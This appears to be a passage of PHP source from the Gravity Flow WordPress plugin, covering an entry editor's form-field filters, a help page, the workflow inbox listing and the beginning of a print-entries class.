add_filter( 'gform_field_css_class', array( $this, 'filter_gform_field_css_class' ), 10, 2 );
add_action( 'gform_register_init_scripts', array( $this, 'deregsiter_init_scripts' ), 11 );
}
/**
* Remove the filters and actions.
*/
public function remove_hooks() {
remove_filter( 'gform_pre_render', array( $this, 'filter_gform_pre_render' ), 999 );
remove_filter( 'gform_submit_button', '__return_empty_string' );
remove_filter( 'gform_disable_view_counter', '__return_true' );
remove_filter( 'gform_field_input', array( $this, 'filter_gform_field_input' ), 10 );
remove_filter( 'gform_form_tag', '__return_empty_string' );
remove_filter( 'gform_get_form_filter', array( $this, 'filter_gform_get_form_filter' ) );
remove_filter( 'gform_field_container', array( $this, 'filter_gform_field_container' ), 10 );
remove_filter( 'gform_has_conditional_logic', array( $this, 'filter_gform_has_conditional_logic' ), 10 );
remove_filter( 'gform_field_css_class', array( $this, 'filter_gform_field_css_class' ), 10 );
remove_action( 'gform_register_init_scripts', array( $this, 'deregsiter_init_scripts' ), 11 );
}
/**
* Target of the gform_pre_render filter.
* Removes the page fields from the form.
*
* @param array $form The current form.
*
* @return array The filtered form.
*/
public function filter_gform_pre_render( $form ) {
if( $form['id'] != rgget( 'id' ) ) {
return $form;
}
$form = $this->remove_page_fields( $form );
$fields = array();
$dynamic_conditional_logic_enabled = $this->_is_dynamic_conditional_logic_enabled;
/**
* Process all other field types.
*
* @var GF_Field $field
*/
foreach ( $form['fields'] as $field ) {
if ( $field->type == 'section' ) {
// Unneeded section fields will be removed via filter_gform_field_container().
$field->adminOnly = false;
$fields[] = $field;
continue;
}
if ( $dynamic_conditional_logic_enabled ) {
$conditional_logic_fields = GFFormDisplay::get_conditional_logic_fields( $form, $field->id );
$field->conditionalLogicFields = $conditional_logic_fields;
}
$field->gravityflow_is_display_field = $this->is_display_field( $field );
// Remove unneeded fields from the form to prevent JS errors resulting from scripts expecting fields to be present and visible.
if ( $this->can_remove_field( $field ) ) {
continue;
}
$is_product_field = GFCommon::is_product_field( $field->type );
if ( ! $this->has_product_fields && $is_product_field ) {
$this->has_product_fields = true;
}
if ( ! $this->is_editable_field( $field ) ) {
$content = $this->get_non_editable_field( $field );
if ( empty( $content ) ) {
continue;
}
$this->_non_editable_field_content[ $field->id ] = $content;
$this->_non_editable_field_script_names[] = $field->type . '_' . $field->id;
if ( $field->type == 'tos' ) {
$field->gwtermsofservice_require_scroll = false;
}
$field->description = null;
$field->maxLength = null;
} else {
$field->gravityflow_is_editable = true;
if ( ! $this->_has_editable_product_field && $is_product_field && $field->type != 'total' ) {
$this->_has_editable_product_field = true;
}
}
if ( empty( $field->label ) ) {
$field->label = $field->adminLabel;
}
$field->adminOnly = false;
$field->adminLabel = '';
if ( $field->type === 'hidden' ) {
// Render hidden fields as text fields.
$field = new GF_Field_Text( $field );
$field->type = 'text';
}
$fields[] = $field;
}
$form['fields'] = $fields;
$this->_modified_form = $form;
return $form;
}
/**
* Removes the form button logic and page fields so they are not taken into account when processing conditional logic for other fields.
* Also disables save and continue.
*
* @param array $form The form currently being processed.
*
* @return array
*/
public function remove_page_fields( $form ) {
unset( $form['save'] );
unset( $form['button']['conditionalLogic'] );
$dynamic_conditional_logic_enabled = $this->_is_dynamic_conditional_logic_enabled;
/* @var GF_Field $field */
foreach ( $form['fields'] as $key => $field ) {
if ( $field->type == 'page' ) {
unset( $form['fields'][ $key ] );
continue;
}
$is_applicable_field = $this->is_editable_field( $field );
if ( $is_applicable_field && $field->has_calculation() ) {
$this->set_calculation_dependencies( $field->calculationFormula );
}
if ( ! $is_applicable_field ) {
// Populate the $_display_fields array.
$is_applicable_field = $this->is_display_field( $field, true );
}
if ( ! $dynamic_conditional_logic_enabled || ! $is_applicable_field ) {
// Clear the field conditional logic properties as conditional logic is not enabled for the step or the field is not for display or editable.
$field->conditionalLogicFields = null;
$field->conditionalLogic = null;
}
}
return $form;
}
/**
* Add the IDs of any fields in the formula to the $_calculation_dependencies array.
*
* @since 1.7.1-dev
*
* @param string $formula The calculation formula to be evaluated.
*/
public function set_calculation_dependencies( $formula ) {
if ( empty( $formula ) ) {
return;
}
preg_match_all( '/{[^{]*?:(\d+).*?}/mi', $formula, $matches, PREG_SET_ORDER );
if ( ! empty( $matches ) ) {
foreach ( $matches as $match ) {
$field_id = rgar( $match, 1 );
if ( $field_id && ! $this->is_calculation_dependency( $field_id ) ) {
$this->_calculation_dependencies[] = $field_id;
}
}
}
}
/**
* Checks whether a field is required for calculations.
*
* @since 1.7.1-dev
*
* @param GF_Field|string $field The field object or field ID to be checked.
*
* @return bool
*/
public function is_calculation_dependency( $field ) {
$field_id = is_object( $field ) ? $field->id : $field;
return in_array( $field_id, $this->_calculation_dependencies );
}
/**
* Determines if the field can be removed from the form object.
*
* Fields involved in conditional logic must always be added to the form.
*
* @param GF_Field $field The current field.
*
* @return bool
*/
public function can_remove_field( $field ) {
$can_remove_field = ! ( $this->is_editable_field( $field ) || $this->is_display_field( $field ) || $this->is_calculation_dependency( $field ) ) && empty( $field->conditionalLogicFields );
return $can_remove_field;
}
/**
* Target for the gform_field_input filter.
*
* Handles the construction of the field input. Returns markup for the editable field or the display value.
*
* @param string $html The field input markup.
* @param GF_Field $field The current field.
*
* @return string
*/
public function filter_gform_field_input( $html, $field ) {
if ( ! $this->is_editable_field( $field ) ) {
return rgar( $this->_non_editable_field_content, $field->id );
}
if ( ! empty( $html ) ) {
// the field input has already been set via the gform_field_input filter. e.g. the Signature Add-On < v3.
return $html;
}
$posted_form_id = rgpost( 'gravityflow_submit' );
if ( $posted_form_id == $this->form['id'] && rgpost( 'step_id' ) == $this->step->get_id() ) {
// Updated or failed validation.
$value = GFFormsModel::get_field_value( $field );
} else {
$value = GFFormsModel::get_lead_field_value( $this->entry, $field );
if ( $field->get_input_type() == 'email' && $field->emailConfirmEnabled ) {
$_POST[ 'input_' . $field->id . '_2' ] = $value;
}
if ( $field->get_input_type() == 'multiselect' && $field->storageType === 'json' ) {
$value = json_decode( $value, true );
}
}
if ( $field->get_input_type() == 'fileupload' ) {
$field->_is_entry_detail = true;
}
$value = apply_filters( 'gravityflow_field_value_entry_editor', $value, $field, $this->form, $this->entry, $this->step );
$value = $this->get_post_image_value( $value, $field );
$value = $this->get_post_category_value( $value, $field );
$html = $field->get_field_input( $this->form, $value, $this->entry );
$html .= $this->maybe_get_coupon_script( $field );
if ( $field->type === 'chainedselect' && function_exists( 'gf_chained_selects' ) ) {
if ( ! wp_script_is( 'gform_chained_selects' ) ) {
wp_enqueue_script( 'gform_chained_selects' );
gf_chained_selects()->localize_scripts();
}
if ( ! $this->_is_dynamic_conditional_logic_enabled && wp_script_is( 'gform_conditional_logic' ) ) {
$script = "if ( typeof window.gf_form_conditional_logic === 'undefined' ) { window.gf_form_conditional_logic = []; }";
GFFormDisplay::add_init_script( $field->formId, 'conditional_logic', GFFormDisplay::ON_PAGE_RENDER, $script );
}
}
return $html;
}
/**
* Ensures the post image field value is in the correct format for populating the field.
*
* @since 2.1.2-dev
*
* @param string|array $value The field value.
* @param GF_Field $field The current field object.
*
* @return string|array
*/
public function get_post_image_value( $value, $field ) {
if ( $field->type !== 'post_image' || empty( $value ) || ! is_string( $value ) || strpos( $value, '|:|' ) === false ) {
return $value;
}
$array = explode( '|:|', $value );
$value = array(
$field->id . '.1' => rgar( $array, 1 ), // Title.
$field->id . '.4' => rgar( $array, 2 ), // Caption.
$field->id . '.7' => rgar( $array, 3 ), // Description.
);
$path_info = pathinfo( rgar( $array, 0 ) );
if ( ! isset( GFFormsModel::$uploaded_files[ $field->formId ]["input_{$field->id}"] ) ) {
GFFormsModel::$uploaded_files[ $field->formId ]["input_{$field->id}"] = $path_info['basename'];
}
return $value;
}
/**
* Ensures the post category field value is in the correct format for populating the field.
*
* @since 2.1.1-dev
*
* @param string|array $value The field value.
* @param GF_Field $field The current field object.
*
* @return string|array
*/
public function get_post_category_value( $value, $field ) {
if ( $field->type !== 'post_category' || empty( $value ) ) {
return $value;
}
if ( is_array( $value ) ) {
foreach ( $value as $key => $item ) {
if ( ! empty( $item ) ) {
$value[ $key ] = $this->get_post_category_id( $item );
}
}
} else {
$value = $this->get_post_category_id( $value );
}
return $value;
}
/**
* Returns the post category id from the supplied value.
*
* The entry value will be in the format "category_name:category_id".
*
* @since 2.1.1-dev
*
* @param string $value The field value.
*
* @return string
*/
public function get_post_category_id( $value ) {
$parts = explode( ':', $value );
return isset( $parts[1] ) ? $parts[1] : $parts[0];
}
/**
* Get the gform_product_total script for the coupon field when there aren't any editable product fields.
*
* @param GF_Field $field The field currently being processed.
*
* @return string
*/
public function maybe_get_coupon_script( $field ) {
if ( $field->type != 'coupon' || $this->_has_editable_product_field ) {
return '';
}
$total = GFCommon::get_order_total( $this->form, $this->entry );
return "<script type='text/javascript'>gform.addFilter('gform_product_total', function (total, formId) {return {$total};}, 49);</script>";
}
/**
* Checks whether dynamic conditional logic is enabled.
*
* @return bool
*/
public function is_dynamic_conditional_logic_enabled() {
return $this->step && $this->step->conditional_logic_editable_fields_enabled && $this->step->conditional_logic_editable_fields_mode != 'page_load' && gravity_flow()->fields_have_conditional_logic( $this->form );
}
/**
* Target for the gform_get_form_filter filter.
* Strips the closing form tag and replaces the Gravity Forms token for Gravity Flow's token.
*
* @param string $form_string The form markup.
*
* @return string
*/
public function filter_gform_get_form_filter( $form_string ) {
$form_string = str_replace( 'gform_submit', 'gravityflow_submit', $form_string );
$form_string = str_replace( '</form>', '', $form_string );
return $form_string;
}
/**
* Generates and returns the markup for a display field.
*
* @param GF_Field $field The current field object.
*
* @return string
*/
public function get_non_editable_field( $field ) {
if ( $field->type == 'html' ) {
$html = GFCommon::replace_variables( $field->content, $this->form, $this->entry, false, true, false, 'html' );
$html = do_shortcode( $html );
return $html;
}
$html = '';
$value = RGFormsModel::get_lead_field_value( $this->entry, $field );
$conditional_logic_dependency = $this->_is_dynamic_conditional_logic_enabled && ! empty( $field->conditionalLogicFields );
if ( $conditional_logic_dependency || $this->is_calculation_dependency( $field ) ) {
$html = $field->get_field_input( $this->form, $value, $this->entry );
}
if ( ! $this->is_display_field( $field ) ) {
return $html;
}
if ( $html ) {
$html = '<div style="display:none;">' . $html . '</div>';
}
$value = $this->maybe_get_product_calculation_value( $value, $field );
$input_type = $field->get_input_type();
if ( $input_type == 'hiddenproduct' ) {
$display_value = $value[ $field->id . '.2' ];
} else {
$display_value = GFCommon::get_lead_field_display( $field, $value, $this->entry['currency'] );
}
$display_value = apply_filters( 'gform_entry_field_value', $display_value, $field, $this->entry, $this->form );
if ( $this->display_empty_fields ) {
if ( empty( $display_value ) || $display_value === '0' ) {
$display_value = '&nbsp;';
}
$display_value = sprintf( '<div class="gravityflow-field-value">%s<div>', $display_value );
} else {
if ( empty( $display_value ) || $display_value === '0' ) {
$display_value = '';
} else {
$display_value = sprintf( '<div class="gravityflow-field-value">%s<div>', $display_value );
}
}
$html .= $display_value;
return $html;
}
/**
* If this is a calculated product field ensure the input values are set.
*
* @param mixed $value The field value.
* @param GF_Field $field The current field object.
*
* @return mixed
*/
public function maybe_get_product_calculation_value( $value, $field ) {
if ( $field->type == 'product' && $field->has_calculation() ) {
$product_name = trim( $value[ $field->id . '.1' ] );
$price = trim( $value[ $field->id . '.2' ] );
$quantity = trim( $value[ $field->id . '.3' ] );
if ( empty( $product_name ) ) {
$value[ $field->id . '.1' ] = $field->get_field_label( false, $value );
}
if ( empty( $price ) ) {
$value[ $field->id . '.2' ] = '0';
}
if ( empty( $quantity ) ) {
$value[ $field->id . '.3' ] = '0';
}
}
return $value;
}
/**
* Checks whether the given field is a display field and whether it should be displayed.
*
* @param GF_Field $field The field to be checked.
* @param bool $is_init Return after checking the $_display_fields array? Default is false.
*
* @return bool
*/
public function is_display_field( $field, $is_init = false ) {
if ( in_array( $field->id, $this->_display_fields ) ) {
return true;
}
if ( ! $is_init ) {
return false;
}
$display_field = Gravity_Flow_Common::is_display_field( $field, $this->step, $this->form, $this->entry );
if ( $display_field ) {
$this->_display_fields[] = $field->id;
}
return $display_field;
}
/**
* Checks whether a field is an editable field.
*
* @param GF_Field $field The field to be checked.
*
* @return bool
*/
public function is_editable_field( $field ) {
return Gravity_Flow_Common::is_editable_field( $field, $this->step );
}
/**
* Check if the current field is hidden.
*
* @param GF_Field $field The field to be checked.
*
* @return bool
*/
public function is_hidden_field( $field ) {
return ! $this->is_editable_field( $field ) && ! $this->is_display_field( $field ) && isset( $this->_non_editable_field_content[ $field->id ] );
}
/**
* Check if the display mode is selected_fields and that all this sections fields are hidden.
*
* @param GF_Field[] $section_fields The fields located in the current section.
*
* @return bool
*/
public function section_fields_hidden( $section_fields ) {
if ( $this->step->display_fields_mode == 'selected_fields' ) {
foreach ( $section_fields as $field ) {
if ( ! $this->is_hidden_field( $field ) ) {
return false;
}
}
return true;
}
return false;
}
/**
* Checks whether the section should be hidden for the given section field.
*
* Hidden sections contain no editable fields and no non-empty display fields.
*
* @param GF_Field_Section $section_field The current section field.
* @param GF_Field[] $section_fields The fields located in the current section.
*
* @return bool
*/
public function is_section_hidden( $section_field, $section_fields ) {
if ( ! empty( $section_fields ) ) {
foreach ( $section_fields as $field ) {
if ( $this->is_editable_field( $field ) || $this->is_display_field( $field ) ) {
return false;
}
}
if ( $this->step->display_fields_mode == 'all_fields' ) {
return GFCommon::is_section_empty( $section_field, $this->_modified_form, $this->entry ) || ! $this->display_empty_fields;
}
}
return true;
}
/**
* Retrieve an array of fields located within the specified section.
*
* @param int $section_field_id The ID of the current section field.
*
* @return array
*/
public function get_section_fields( $section_field_id ) {
$section_fields = GFCommon::get_section_fields( $this->_modified_form, $section_field_id );
if ( count( $section_fields ) >= 1 ) {
// Remove the section field.
unset( $section_fields[0] );
}
return $section_fields;
}
/**
* Target for the gform_field_container filter.
*
* Removes the markup completely for section fields that are hidden.
*
* Fields with conditional logic remain on the form to avoid JS errors.
*
* @param string $field_container The field container HTML.
* @param GF_Field $field The current field object.
*
* @return string
*/
public function filter_gform_field_container( $field_container, $field ) {
if ( $field->type == 'section' ) {
$section_fields = $this->get_section_fields( $field->id );
if ( $this->section_fields_hidden( $section_fields )
|| ( $this->is_section_hidden( $field, $section_fields ) && empty( $field->conditionalLogic ) ) // Section fields with conditional logic must be added to the form so fields inside the section can be hidden or displayed dynamically.
) {
return '';
}
}
if ( $this->is_hidden_field( $field ) ) {
$field_container = sprintf( '<li id="field_%s_%s" style="display:none;">%s</li>', $field->formId, $field->id, $this->_non_editable_field_content[ $field->id ] );
}
return $field_container;
}
/**
* Target for the gform_has_conditional_logic filter.
*
* Checks the conditional logic setting and configures the form accordingly.
*
* @return bool
*/
public function filter_gform_has_conditional_logic() {
return $this->_is_dynamic_conditional_logic_enabled;
}
/**
* Target for the gform_field_css_class filter.
*
* Checks the step settings and adds the appropriate classes.
*
* @param string $classes The field classes.
* @param GF_Field $field The current field object.
*
* @return string
*/
public function filter_gform_field_css_class( $classes, $field ) {
$is_editable = $this->is_editable_field( $field );
$class = $is_editable ? 'gravityflow-editable-field' : 'gravityflow-display-field';
if ( $is_editable && $this->step->highlight_editable_fields_enabled ) {
$class .= ' ' . $this->step->highlight_editable_fields_class;
}
$classes .= ' ' . $class;
return $classes;
}
/**
* Deregister init scripts for any non-editable fields to prevent js errors.
*
* @param array $form The filtered form object.
*/
public function deregsiter_init_scripts( $form ) {
$script_names = $this->_non_editable_field_script_names;
if ( ! empty( $script_names ) ) {
$init_scripts = GFFormDisplay::$init_scripts[ $form['id'] ];
if ( ! empty( $init_scripts ) ) {
$location = GFFormDisplay::ON_PAGE_RENDER;
foreach ( $script_names as $name ) {
unset( $init_scripts[ $name . '_' . $location ] );
}
GFFormDisplay::$init_scripts[ $form['id'] ] = $init_scripts;
}
}
}
}

View File

@@ -0,0 +1,51 @@
<?php
/**
* Gravity Flow Help
*
* @package GravityFlow
* @subpackage Classes/Gravity_Flow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Help
*
* @since 1.0
*/
class Gravity_Flow_Help {
/**
* Displays the help page content.
*/
public static function display() {
?>
<div class="wrap gf_entry_wrap">
<h2 class="gf_admin_page_title">
<span><?php esc_html_e( 'Help', 'gravityflow' ); ?></span>
</h2>
<p>
First, draw your workflow.&nbsp;If you plan your workflow well, the rest will be straightforward. I can't stress this enough - if you don't plan, you'll very likely find the whole experience very frustrating.&nbsp;
</p>
<p>
List the users or roles involved and identify what each one needs to do and at which stage. Try to separate the process into distinct steps involving approval and user input. You may find it useful to draw the process using a&nbsp;
<a href="http://en.wikipedia.org/wiki/Swim_lane">swim lane diagram</a>.
</p>
<p>
Create a form to use for your workflow. This form must contain all the fields used at every step of the process but don't worry if you need to add fields later.
</p>
<p>
Take a look at the&nbsp;
<a href="http://docs.gravityflow.io/category/34-walkthroughs">walkthroughs</a> and then dive deeper into the&nbsp;<a href="http://docs.gravityflow.io/category/21-user-guides">user guides</a>.
</p>
</div>
<?php
}
}

View File

@@ -0,0 +1,462 @@
<?php
/**
* Gravity Flow Inbox
*
* @package GravityFlow
* @subpackage Classes/Gravity_Flow_Inbox
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.0
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Inbox
*/
class Gravity_Flow_Inbox {
/**
* Displays the inbox page.
*
* @param array $args The inbox page arguments.
*/
public static function display( $args ) {
$args = array_merge( self::get_defaults(), $args );
/**
* Allow the inbox page arguments to be overridden.
*
* @param array $args The inbox page arguments.
*/
$args = apply_filters( 'gravityflow_inbox_args', $args );
if ( has_filter( 'gravityflow_inbox_args' ) ) {
gravity_flow()->log_debug( __METHOD__ . '(): Executing functions hooked to gravityflow_inbox_args.' );
}
$total_count = 0;
$entries = self::get_entries( $args, $total_count );
gravity_flow()->log_debug( __METHOD__ . "(): {$total_count} pending tasks." );
if ( sizeof( $entries ) > 0 ) {
$columns = self::get_columns( $args );
?>
<table id="gravityflow-inbox" class="widefat gravityflow-inbox" cellspacing="0" style="border:0px;">
<?php
self::display_table_head( $columns );
?>
<tbody class="list:user user-list">
<?php
foreach ( $entries as $entry ) {
self::display_entry_row( $args, $entry, $columns );
}
?>
</tbody>
</table>
<?php
if ( $total_count > 150 ) {
echo '<br />';
echo '<div class="excess_entries_indicator">';
printf( '(Showing 150 of %d)', absint( $total_count ) );
echo '</div>';
}
} else {
?>
<div id="gravityflow-no-pending-tasks-container">
<div id="gravityflow-no-pending-tasks-content">
<i class="fa fa-check-circle-o gravityflow-inbox-check"></i>
<br/><br/>
<?php esc_html_e( 'No pending tasks', 'gravityflow' ); ?>
</div>
</div>
<?php
}
}
/**
* Get the default arguments used when rendering the inbox page.
*
* @return array
*/
public static function get_defaults() {
$field_ids = apply_filters( 'gravityflow_inbox_fields', array() );
$filter = apply_filters( 'gravityflow_inbox_filter', array(
'form_id' => 0,
'start_date' => '',
'end_date' => '',
) );
return array(
'display_empty_fields' => true,
'id_column' => true,
'submitter_column' => true,
'actions_column' => false,
'step_column' => true,
'check_permissions' => true,
'form_id' => absint( rgar( $filter, 'form_id' ) ),
'field_ids' => $field_ids,
'detail_base_url' => admin_url( 'admin.php?page=gravityflow-inbox&view=entry' ),
'last_updated' => false,
'step_highlight' => true,
);
}
/**
* Get the filter key for the current user.
*
* @return string
*/
public static function get_filter_key() {
global $current_user;
$filter_key = '';
if ( $current_user->ID > 0 ) {
$filter_key = 'workflow_user_id_' . $current_user->ID;
} elseif ( $token = gravity_flow()->decode_access_token() ) {
$filter_key = gravity_flow()->parse_token_assignee( $token )->get_status_key();
}
return $filter_key;
}
/**
* Get the entries to be displayed.
*
* @param array $args The inbox page arguments.
* @param int $total_count The total number of entries.
*
* @return array
*/
public static function get_entries( $args, &$total_count ) {
$entries = array();
$filter_key = self::get_filter_key();
gravity_flow()->log_debug( __METHOD__ . '(): $filter_key => ' . $filter_key );
if ( ! empty( $filter_key ) ) {
$field_filters = array();
$field_filters[] = array(
'key' => $filter_key,
'value' => 'pending',
);
$user_roles = gravity_flow()->get_user_roles();
foreach ( $user_roles as $user_role ) {
$field_filters[] = array(
'key' => 'workflow_role_' . $user_role,
'value' => 'pending',
);
}
$field_filters['mode'] = 'any';
$search_criteria = array();
$search_criteria['field_filters'] = $field_filters;
$search_criteria['status'] = 'active';
$form_ids = $args['form_id'] ? $args['form_id'] : gravity_flow()->get_workflow_form_ids();
/**
* Allows form id(s) to be adjusted to define which forms' entries are displayed in inbox table.
*
* Return an array of form ids for use with GFAPI.
*
* @since 2.2.2-dev
*
* @param array $form_ids The form ids
* @param array $search_criteria The search criteria
*/
$form_ids = apply_filters( 'gravityflow_form_ids_inbox', $form_ids, $search_criteria);
gravity_flow()->log_debug( __METHOD__ . '(): $form_ids => ' . print_r( $form_ids, 1 ) );
gravity_flow()->log_debug( __METHOD__ . '(): $search_criteria => ' . print_r( $search_criteria, 1 ) );
if ( ! empty( $form_ids ) ) {
$paging = array(
'page_size' => 150,
);
/**
*
* @since 2.0.2
*
* Allows the paging criteria to be modified before entries are searched for the inbox.
*
* @param array $paging The paging criteria.
*/
$paging = apply_filters( 'gravityflow_inbox_paging', $paging );
$sorting = array();
/**
* Allows the sorting criteria to be modified before entries are searched for the inbox.
*
* @param array $sorting The sorting criteria.
*/
$sorting = apply_filters( 'gravityflow_inbox_sorting', $sorting );
/**
* Allows the search criteria to be modified before entries are searched for the inbox.
*
* @since 2.1
*
* @param array $sorting The search criteria.
*/
$search_criteria = apply_filters( 'gravityflow_inbox_search_criteria', $search_criteria );
$entries = GFAPI::get_entries( $form_ids, $search_criteria, $sorting, $paging, $total_count );
}
}
return $entries;
}
/**
* Get the columns to be displayed.
*
* @param array $args The inbox page arguments.
*
* @return array
*/
public static function get_columns( $args ) {
$columns = array();
if ( $args['step_highlight'] ) {
$columns['step_highlight'] = 'step_highlight';
}
if ( $args['id_column'] ) {
$columns['id'] = __( 'ID', 'gravityflow' );
}
if ( $args['actions_column'] ) {
$columns['actions'] = '';
}
if ( empty( $args['form_id'] ) || is_array( $args['form_id']) ) {
$columns['form_title'] = __( 'Form', 'gravityflow' );
}
if ( $args['submitter_column'] ) {
$columns['created_by'] = __( 'Submitter', 'gravityflow' );
}
if ( $args['step_column'] ) {
$columns['workflow_step'] = __( 'Step', 'gravityflow' );
}
$columns['date_created'] = __( 'Submitted', 'gravityflow' );
$columns = Gravity_Flow_Common::get_field_columns( $columns, $args['form_id'], $args['field_ids'] );
if ( $args['last_updated'] ) {
$columns['last_updated'] = __( 'Last Updated', 'gravityflow' );
}
return $columns;
}
/**
* Display the table header.
*
* @param array $columns The column properties.
*/
public static function display_table_head( $columns ) {
echo '<thead><tr>';
foreach ( $columns as $label ) {
if ( $label !== 'step_highlight' ) {
echo sprintf( '<th data-label="%s">%s</th>', esc_attr( $label ), esc_html( $label ) );
}
}
echo '</tr></thead>';
}
/**
* Display the row for the current entry.
*
* @param array $args The inbox page arguments.
* @param array $entry The entry currently being processed.
* @param array $columns The column properties.
*/
public static function display_entry_row( $args, $entry, $columns ) {
$form = GFAPI::get_form( $entry['form_id'] );
$url_entry = esc_url_raw( sprintf( '%s&id=%d&lid=%d', $args['detail_base_url'], $entry['form_id'], $entry['id'] ) );
$link = "<a href='%s'>%s</a>";
/**
* Allows the entry link to be modified for each of the entries in the inbox table.
*
* @since 1.9.2
*
* @param string $link The entry link HTML.
* @param string $url_entry The entry URL.
* @param string $entry The current entry.
* @param string $args The inbox page arguments.
*/
$link = apply_filters( 'gravityflow_entry_link_inbox_table', $link, $url_entry, $entry, $args );
$step_highlight_color = '';
if ( array_key_exists( 'step_highlight', $columns ) && isset( $entry['workflow_step'] ) ) {
$step = gravity_flow()->get_step( $entry['workflow_step'] );
if ( $step ) {
$meta = $step->get_feed_meta();
if ( $meta && isset( $meta['step_highlight'] ) && $meta['step_highlight'] ) {
if ( isset( $meta['step_highlight_type'] ) && $meta['step_highlight_type'] == 'color' ) {
if ( isset( $meta['step_highlight_color'] ) && preg_match( '/^#[a-f0-9]{6}$/i', $meta['step_highlight_color'] ) ) {
$step_highlight_color = $meta['step_highlight_color'];
}
}
}
}
}
/**
* Allow the Step Highlight colour to be overridden.
*
* @since 1.9.2
*
* @param string $highlight The highlight color (hex value) of the row currently being processed.
* @param int $form['id'] The ID of form currently being processed.
* @param array $entry The entry object for the row currently being processed.
*
* @return string
*/
$step_highlight_color = apply_filters( 'gravityflow_step_highlight_color_inbox', $step_highlight_color, $form['id'], $entry );
if ( strlen( $step_highlight_color ) > 0 ) {
echo '<tr style="border-left-color: ' . $step_highlight_color . ';">';
} else {
echo '<tr>';
}
unset( $columns['step_highlight'] );
foreach ( $columns as $id => $label ) {
$value = self::get_column_value( $id, $form, $entry, $columns );
$html = $id == 'actions' ? $value : sprintf( $link, $url_entry, $value );
echo sprintf( '<td data-label="%s">%s</td>', esc_attr( $label ), $html );
}
echo '</tr>';
}
/**
* Get the value for display in the current column for the entry being processed.
*
* @param string $id The column id, the key to the value in the entry or form.
* @param array $form The form object for the current entry.
* @param array $entry The entry currently being processed for display.
* @param array $columns The columns to be displayed.
*
* @return string
*/
public static function get_column_value( $id, $form, $entry, $columns ) {
$value = '';
switch ( strtolower( $id ) ) {
case 'form_title':
$value = rgar( $form, 'title' );
break;
case 'created_by':
$user = get_user_by( 'id', (int) $entry['created_by'] );
$submitter_name = $user ? $user->display_name : $entry['ip'];
/**
* Allow the value displayed in the Submitter column to be overridden.
*
* @param string $submitter_name The display_name of the logged-in user who submitted the form or the guest ip address.
* @param array $entry The entry object for the row currently being processed.
* @param array $form The form object for the current entry.
*/
$value = apply_filters( 'gravityflow_inbox_submitter_name', $submitter_name, $entry, $form );
break;
case 'date_created':
$value = GFCommon::format_date( $entry['date_created'] );
break;
case 'last_updated':
$last_updated = date( 'Y-m-d H:i:s', $entry['workflow_timestamp'] );
$value = $entry['date_created'] != $last_updated ? GFCommon::format_date( $last_updated, true, 'Y/m/d' ) : '-';
break;
case 'workflow_step':
if ( isset( $entry['workflow_step'] ) ) {
$step = gravity_flow()->get_step( $entry['workflow_step'] );
if ( $step ) {
return $step->get_name();
}
}
$value = '';
break;
case 'actions':
$api = new Gravity_Flow_API( $form['id'] );
$step = $api->get_current_step( $entry );
if ( $step ) {
$value = self::format_actions( $step );
}
break;
default:
$field = GFFormsModel::get_field( $form, $id );
if ( is_object( $field ) ) {
$value = $field->get_value_entry_list( rgar( $entry, $id ), $entry, $id, $columns, $form );
} else {
$value = rgar( $entry, $id );
}
$value = apply_filters( 'gform_entries_field_value', $value, $form['id'], $id, $entry );
}
return $value;
}
/**
* Formats the actions for the action column.
*
* @param Gravity_Flow_Step $step The current step.
*
* @return string
*/
public static function format_actions( $step ) {
$html = '';
$actions = $step->get_actions();
$entry_id = $step->get_entry_id();
foreach ( $actions as $action ) {
$show_workflow_note_field = (bool) $action['show_note_field'];
$html .= sprintf( '<span id="gravityflow-action-%s-%d" data-entry_id="%d" data-action="%s" data-rest_base="%s" data-note_field="%d" class="gravityflow-action" role="link">%s</span>', $action['key'], $entry_id, $entry_id, $action['key'], $step->get_rest_base(), $show_workflow_note_field, $action['icon'] );
}
if ( ! empty( $html ) ) {
$html = sprintf( '<div id="gravityflow-actions-%d" class="gravityflow-actions gravityflow-actions-locked">
<i class="gravityflow-actions-lock fa fa-lock" aria-hidden="true"></i>
<i class="gravityflow-actions-unlock fa fa-unlock-alt" aria-hidden="true"></i>
%s
<span class="gravityflow-actions-spinner">
<i class="fa fa-spinner fa-spin" aria-hidden="true"></i>
</span>
<div class="gravityflow-actions-note-field-container" style="display:none;">
<label>%s:</label>
<div>
<textarea></textarea>
</div>
</div>
</div>
', $entry_id, $html, __( 'Note', 'gravityflow' ) );
}
return $html;
}
}

View File

@@ -0,0 +1,231 @@
<?php
/**
* Gravity Flow Print Entries
*
* @package GravityFlow
* @subpackage Classes/Gravity_Flow_Print_Entries
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.0
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Print_Entries
*/
class Gravity_Flow_Print_Entries {
/**
* Output the entries to be printed.
*/
public static function render() {
$entry_ids = self::get_entry_ids();
if ( empty( $entry_ids ) ) {
die( esc_html__( 'Form ID and Lead ID are required parameters.', 'gravityflow' ) );
}
self::get_header( $entry_ids );
?>
<body<?php echo ( is_rtl() ) ? ' class="rtl"' : ''; ?>>
<div id="view-container">
<?php
$page_break = rgget( 'page_break' ) ? 'print-page-break' : false;
require_once( GFCommon::get_base_path() . '/entry_detail.php' );
foreach ( $entry_ids as $entry_id ) {
$entry = RGFormsModel::get_lead( $entry_id );
$form = GFAPI::get_form( $entry['form_id'] );
do_action( 'gravityflow_print_entry_header', $form, $entry );
// Separate each entry inside a form element so radio buttons don't get treated as a single group across multiple entries.
echo '<form>';
$gravity_flow = gravity_flow();
$current_step = $gravity_flow->get_current_step( $form, $entry );
// Check view permissions.
$entry = GFAPI::get_entry( $entry_id );
require_once( $gravity_flow->get_base_path() . '/includes/pages/class-entry-detail.php' );
$permission_granted = Gravity_Flow_Entry_Detail::is_permission_granted( $entry, $form, $current_step );
/**
* Allows the the permission check to be overridden for the workflow entry detail page.
*
* @param bool $permission_granted Whether permission is granted to open the entry.
* @param array $entry The current entry.
* @param array $form The form for the current entry.
* @param Gravity_Flow_Step $current_step The current step.
*/
$permission_granted = apply_filters( 'gravityflow_permission_granted_entry_detail', $permission_granted, $entry, $form, $current_step );
